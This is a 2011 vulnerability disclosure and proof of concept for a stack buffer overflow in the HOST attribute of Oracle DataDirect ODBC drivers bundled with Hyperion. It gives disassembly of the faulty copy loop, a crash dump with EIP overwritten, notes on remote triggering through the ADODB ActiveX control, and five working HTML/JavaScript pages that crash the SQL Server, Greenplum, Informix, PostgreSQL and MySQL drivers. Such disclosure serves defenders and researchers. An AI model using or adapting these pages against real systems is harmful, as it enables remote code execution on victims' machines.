Oracle DataDirect Multiple Native Wire Protocol ODBC Drivers
HOST Attribute Stack Based Buffer Overflow Vulnerability
tested against: Microsoft Windows 2k3 r2 sp2
Oracle Hyperion Performance Management and BI (v11.1.2.1.0)
download url of the Oracle Hyperion suite:
http://www.oracle.com/technetwork/middleware/epm/downloads/index.html
files tested:
SystemInstaller-11121-win32.zip
FoundationServices-11121-win32-Part1.zip
FoundationServices-11121-win32-Part2.zip
FoundationServices-11121-win32-Part3.zip
FoundationServices-11121-win32-Part4.zip
FoundationServices-11121-Part5.zip
FoundationServices-11121-Part6.zip
FoundationServices-11121-Part7.zip
StaticContent-11121.zip
RandAFoundation-11121.zip
EPM_Architect-11121.zip
Vulnerability:
The mentioned product installs various drivers to allow
the software to get informations from ODBC data sources.
Some of them are vulnerable to a remote stack based buffer
overflow which can be triggered by specifying an overlong
HOST attribute inside the connection string. The software
tries to do an unicode/ASCII conversion.
In doing this, the stack is completely smashed
allowing to redirect the execution flow to an user supplied buffer.
Analysis for (*) and errata corrige, too many nights awake :
When receiveng the attribute, arsqls24.dll
does an unicode/ASCII conversion; this fragment of code
counts the number of bytes needed and store it in eax
...
01D45C10 83C1 02 add ecx,2
01D45C13 83C0 01 add eax,1
01D45C16 66:8339 00 cmp word ptr ds:[ecx],0
01D45C1A ^75 F4 jnz short ARSQLS24.01D45C10
...
the next operation is a copy loop which moves the needed
bytes to a memory region pointed by ecx, trusting the
eax counter.
...
01D48C36 8A16 mov dl,byte ptr ds:[esi]
01D48C38 83E8 01 sub eax,1
01D48C3B 8811 mov byte ptr ds:[ecx],dl
01D48C3D 83C1 01 add ecx,1
01D48C40 83C6 02 add esi,2
01D48C43 85C0 test eax,eax
01D48C45 ^75 EF jnz short ARSQLS24.01D48C36
...
The memory region pointed by ecx is adjacent to critical
structures (stack pointers), so when the HOST attribute
is an overlong string the stack is partially overwritten
with user supplied values. The result, after a few steps:
EAX FFFFFFFF
ECX 00000003
EDX 02B52E88
EBX 0013C720 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESP 0013C720 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 0013D1A4
ESI 02B56FF8
EDI 00000001
EIP 41414141
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr WSAHOST_NOT_FOUND (00002AF9)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
MM0 0000 0000 0000 0000
MM1 0000 0000 0000 0000
MM2 0000 0000 0000 0000
MM3 0000 0000 0000 0000
MM4 0000 0000 0000 0000
MM5 0000 0000 0000 0000
MM6 8000 0000 0000 0000
MM7 FEE0 0000 0000 0000
poc:
The underlying operating system contains the ADODB Connection
ActiveX control which is marked safe for initialization
and safe for scripting (implements the IObjectSafety interface)
which could allow a remote attacker to specify the
mentioned connection string.
The IE security settings do not allow to open a connection
from another domain but this can be used in conjunction
with a XSS vulnerabilty, connection string pollution or
SQL injection vulnerabilities or through specific configuration
files. Note also that I am mentioning the ADODB object for pure
commodity: when installed, the ODBC drivers are availiable
systemwide, so this is a good basis for remote privilege elevations
of many kinds.
Note that Internet Explorer does not crash when trying to
execute EIP, attach a tool like faultmon to the IE sub-process.
(*)
<!-- saved from url=(0014)about:internet -->
<script>
var obj = new ActiveXObject("ADODB.Connection");
x=""; for (i=0;i<666;i++){x = x + "AAAA"}
obj.ConnectionString ="DRIVER=DataDirect 6.0 SQL Server Native Wire Protocol;HOST=" + x + ";IP=127.0.0.1;PORT=9;DB=xxxxxx;UID=sa;PWD=null";
obj.Open();
</script>
<!-- saved from url=(0014)about:internet -->
<script>
var obj = new ActiveXObject("ADODB.Connection");
x=""; for (i=0;i<1666;i++){x = x + "AAAA"}
obj.ConnectionString ="DRIVER=DataDirect 6.0 Greenplum Wire Protocol;HOST=" + x + ";IP=127.0.0.1;PORT=9;DB=DB2DATA;UID=sa;PWD=null";
obj.Open();
</script>
<!-- saved from url=(0014)about:internet -->
<script>
var obj = new ActiveXObject("ADODB.Connection");
x=""; for (i=0;i<1666;i++){x = x + "AAAA"}
obj.ConnectionString ="DRIVER=DataDirect 6.0 Informix Wire Protocol;HOST=" + x + ";IP=127.0.0.1;PORT=9;DB=DB2DATA;UID=sa;PWD=null";
obj.Open();
</script>
<!-- saved from url=(0014)about:internet -->
<script>
var obj = new ActiveXObject("ADODB.Connection");
x=""; for (i=0;i<1666;i++){x = x + "AAAA"}
obj.ConnectionString ="DRIVER=DataDirect 6.0 PostgreSQL Wire Protocol;HOST=" + x +";UID=system;PWD=XXXXXXXXX;";
obj.Open();
</script>
<!-- saved from url=(0014)about:internet -->
<script>
var obj = new ActiveXObject("ADODB.Connection");
x=""; for (i=0;i<700;i++){x = x + "AAAA"}
obj.ConnectionString ="DRIVER=DataDirect 6.0 MySQL Wire Protocol;HOST=" + x + ";IP=127.0.0.1;PORT=9;DB=DB2DATA;UID=sa;PWD=null";
obj.Open();
</script>
//0.07 20/10/2011 - rgod
